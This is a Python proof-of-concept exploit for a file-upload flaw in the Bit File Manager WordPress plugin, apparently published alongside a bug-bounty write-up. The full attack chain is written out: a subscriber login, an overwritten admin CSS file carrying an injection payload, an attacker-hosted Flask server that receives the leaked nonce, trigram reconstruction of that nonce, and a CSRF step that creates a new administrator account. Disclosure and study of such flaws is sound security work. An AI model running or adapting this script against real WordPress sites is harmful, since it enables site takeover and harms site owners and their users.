#!/usr/bin/env python3 import requests import json import time import threading import generatepayload from bs4 import BeautifulSoup from re import search, compile from flask import Flask, render_template, jsonify from base64 import b64encode app = Flask(__name__) nonce = str() GSTART = '' GEND = '' GTRIGRAMS = [] PREV_TRIGRAMS_LEN = len(GTRIGRAMS) NONCE_LENGTH = 10 @app.route('/leaknonce', methods=['GET']) def leakNonce(): return render_template('leak_nonce.html', targetBaseUrl=app.config['target']) @app.route('/exfil//') def getTrigram(position, nonce): global GSTART, GEND, GTRIGRAMS print(f'[+] Leaked nonce at position "{position}" with value "{nonce}"') if position == 'prefix': GSTART = nonce elif position == 'suffix': GEND = nonce elif position == 'contains': GTRIGRAMS.append(nonce) return '' @app.route('/checknonce', methods=['GET']) def checkLeakedNonce(): isAllLeaked = True if len(nonce) == NONCE_LENGTH else False return jsonify({'status': isAllLeaked}) @app.route('/csrf', methods=['GET', 'POST']) def csrfPoc(): return render_template('csrf.html', targetBaseUrl=app.config['target'], nonce=nonce) class Poc: def __init__(self, targetBaseUrl, wordpressUsername, wordpressPassword, attackerIpAddress, attackerPort=80): self.wordpressUsername = wordpressUsername self.wordpressPassword = wordpressPassword self.targetBaseUrl = targetBaseUrl self.attackerIpAddress = attackerIpAddress self.attackerPort = attackerPort self.session = requests.Session() self.LOGIN_URL = f'{self.targetBaseUrl}/wp-login.php' self.ELFINDER_AJAX_ACTION = 'bit_fm_connector_front' self.READ_DIRECTORY_FILES_ELFINDER_COMMAND = 'open' self.READ_FILE_ELFINDER_COMMAND = 'info' self.UPDATE_FILE_ELFINDER_COMMAND = 'put' self.AJAX_ENDPOINT = f'{self.targetBaseUrl}/wp-admin/admin-ajax.php' self.AJAX_NONCE_SCRIPT_ELEMENT_ID = 'file-managerelfinder-script-js-extra' self.AJAX_NONCE_SCRIPT_ELEMENT_VARIABLE_NAME = 'fm' self.AJAX_NONCE_KEY_NAME = 'nonce' self.CSS_FILE_PATH = '/wp-includes/css/dashicons.min.css' self.ADMIN_NONCE_ELEMENT_NAME = '_wpnonce_create-user' def login(self): print(f'[*] Logging in as user "{self.wordpressUsername}"...') loginData = { 'log': self.wordpressUsername, 'pwd': self.wordpressPassword, 'wp-submit': 'Log In', 'redirect_to': f'{self.targetBaseUrl}/wp-admin/', 'testcookie': '1' } self.session.post(self.LOGIN_URL, data=loginData) print(f'[+] Logged in as user "{self.wordpressUsername}"') def getAjaxNonce(self, fileManagerPostPath): print('[*] Getting a valid AJAX nonce...') fileManagerPostUrl = f'{self.targetBaseUrl}{fileManagerPostPath}' responseText = self.session.get(fileManagerPostUrl).text soup = BeautifulSoup(responseText, 'html.parser') nonceScriptElement = str(soup.find('script', {'id' : self.AJAX_NONCE_SCRIPT_ELEMENT_ID})) regexPattern = compile(f'var {self.AJAX_NONCE_SCRIPT_ELEMENT_VARIABLE_NAME} = (.*);') result = search(regexPattern, nonceScriptElement) if not result: print('[-] Unable to get a valid AJAX nonce') exit(0) parsedJsonObject = json.loads(result.group(1)) ajaxNonce = parsedJsonObject[self.AJAX_NONCE_KEY_NAME] print(f'[+] Found the valid AJAX nonce: {ajaxNonce}') return ajaxNonce def getCssFileHash(self, nonce): print(f'[*] Getting the admin "Add New User" page CSS file hash at path "{self.CSS_FILE_PATH}" via elFinder command "{self.READ_FILE_ELFINDER_COMMAND}"...') cssFilePaths = ['dashicons.min.css', 'css/dashicons.min.css', 'wp-includes/css/dashicons.min.css'] for i in range(1, 11): for cssFilePath in cssFilePaths: encodedFileHash = b64encode(cssFilePath.encode()).decode().replace('=', '') fileHash = f'l{i}_{encodedFileHash}' data = { 'cmd': self.READ_FILE_ELFINDER_COMMAND, 'targets[]': fileHash, 'action': self.ELFINDER_AJAX_ACTION, self.AJAX_NONCE_KEY_NAME: nonce } jsonResponse = self.session.post(self.AJAX_ENDPOINT, data=data).json() files = jsonResponse['files'] if len(files) == 0: continue print(f'[+] Got the admin "Add New User" page CSS file hash. File hash: "{fileHash}"') return fileHash print('[-] Failed to get the admin "Add New User" page CSS file hash. Maybe it doesn\'t exist?') exit(0) def updateCssFileContent(self, nonce, cssFileHash): print(f'[*] Updating the admin "Add New User" page CSS file content with our CSS payload at path "{self.CSS_FILE_PATH}" via elFinder command "{self.UPDATE_FILE_ELFINDER_COMMAND}"...') cssFileContent = generatepayload.generateTemplate(self.ADMIN_NONCE_ELEMENT_NAME, self.attackerIpAddress, self.attackerPort) data = { 'cmd': self.UPDATE_FILE_ELFINDER_COMMAND, 'target': cssFileHash, 'content': cssFileContent, 'action': self.ELFINDER_AJAX_ACTION, self.AJAX_NONCE_KEY_NAME: nonce } jsonResponse = self.session.post(self.AJAX_ENDPOINT, data=data).json() isNotUpdated = True if 'error' in jsonResponse else False if isNotUpdated: print('[-] Failed to update the admin "Add New User" page CSS file file content with our CSS payload') exit(0) print('[+] The admin "Add New User" page CSS file content has been updated with our CSS payload') print(f'[+] Now we can trick the victim to create a new admin WordPress user by visiting our exploit web app: "http://{self.attackerIpAddress}:{self.attackerPort}/leaknonce"') # from https://waituck.sg/2023/12/11/0ctf-2023-newdiary-writeup.html def trigramSolver(self, l, start, end): s = set(l) solved = start candidates = set([solved]) while len(next(iter(candidates))) != NONCE_LENGTH: print(f'[*] Solving trigram... Current nonce is "{next(iter(candidates))}"') newCandidates = set() for candidate in candidates: lastCharacter = candidate[-2:] for cs in s: if cs.startswith(lastCharacter): newCandidate = candidate + cs[-1] newCandidates.add(newCandidate) candidates = newCandidates finalCandidates = set() for candidate in candidates: if candidate.endswith(end): finalCandidates.add(candidate) return finalCandidates # listen for changes to trigrams and if trigrams don't change, # it means the exfiltration is done and we can recover the nonce def trySolveTrigram(self): global GSTART, GEND, GTRIGRAMS, PREV_TRIGRAMS_LEN, nonce while True: time.sleep(1) try: currentTrigramsLength = len(GTRIGRAMS) if currentTrigramsLength == PREV_TRIGRAMS_LEN and currentTrigramsLength != 0: nonce = self.trigramSolver(GTRIGRAMS, start=GSTART, end=GEND) nonce = next(iter(nonce)) if len(nonce) == NONCE_LENGTH: print(f'[+] Solved the correct nonce: "{nonce}"') return GTRIGRAMS = [] GSTART = '' GEND = '' PREV_TRIGRAMS_LEN = currentTrigramsLength except Exception as e: print(e) pass def exploit(self, fileManagerPostPath): # 1. Login as a subscriber+ WordPress user # 2. Get a valid AJAX nonce via the script element ID "file-managerelfinder-script-js-extra" # 3. Get admin add new user's page CSS file hash (I picked "wp-includes/css/dashicons.min.css") # 4. Update the CSS file's content with the generated one-shot CSS injection payload # 5. Wait for the admin victim visit our attacker's web server's endpoint "/leaknonce" # 6. When the victim visited the injected CSS page, the payload will exfiltrate the nonce ("_wpnonce_create-user") that creates a new user to our attacker web server # 7. After exfiltrating, our attacker web server uses trigram search algorithm to find the correct nonce value # 8. After that, the admin victim will be redirected to our attacker web server's route "/csrf" to create a new admin WordPress user with the exfiltrated nonce self.login() ajaxNonce = self.getAjaxNonce(fileManagerPostPath) cssFileHash = self.getCssFileHash(ajaxNonce) self.updateCssFileContent(ajaxNonce, cssFileHash) thread = threading.Thread(target=self.trySolveTrigram) thread.start() # host a web server for exfiltrating the nonce with app.app_context(): app.config['target'] = self.targetBaseUrl app.run(self.attackerIpAddress, port=self.attackerPort) if __name__ == '__main__': # Description: # The Bit File Manager – 100% Free & Open Source File Manager and Code Editor for WordPress plugin for WordPress is vulnerable to Limited JavaScript File Upload in all versions up to, and including, 6.5.7. This is due to a lack of proper checks on allowed file types. This makes it possible for authenticated attackers, with Subscriber-level access and above, and granted permissions by an administrator, to upload .css and .js files, which could lead to Stored Cross-Site Scripting. # https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/file-manager/bit-file-manager-100-free-open-source-file-manager-and-code-editor-for-wordpress-657-authenticated-subscriber-limited-javascript-file-upload # # Writeup: # https://siunam321.github.io/ctf/Bug-Bounty/Wordfence/how-i-found-my-first-vulnerabilities-in-6-different-wordpress-plugins-part-2/ # change the following values wordpressUsername = 'wordpress_subscriber' wordpressPassword = 'wordpress_subscriber' targetBaseUrl = 'http://localhost' fileManagerPostPath = '/?p=7' attackerIpAddress = '192.168.3.203' attackerPort = 8000 # default port is 80 poc = Poc(targetBaseUrl, wordpressUsername, wordpressPassword, attackerIpAddress, attackerPort) poc.exploit(fileManagerPostPath)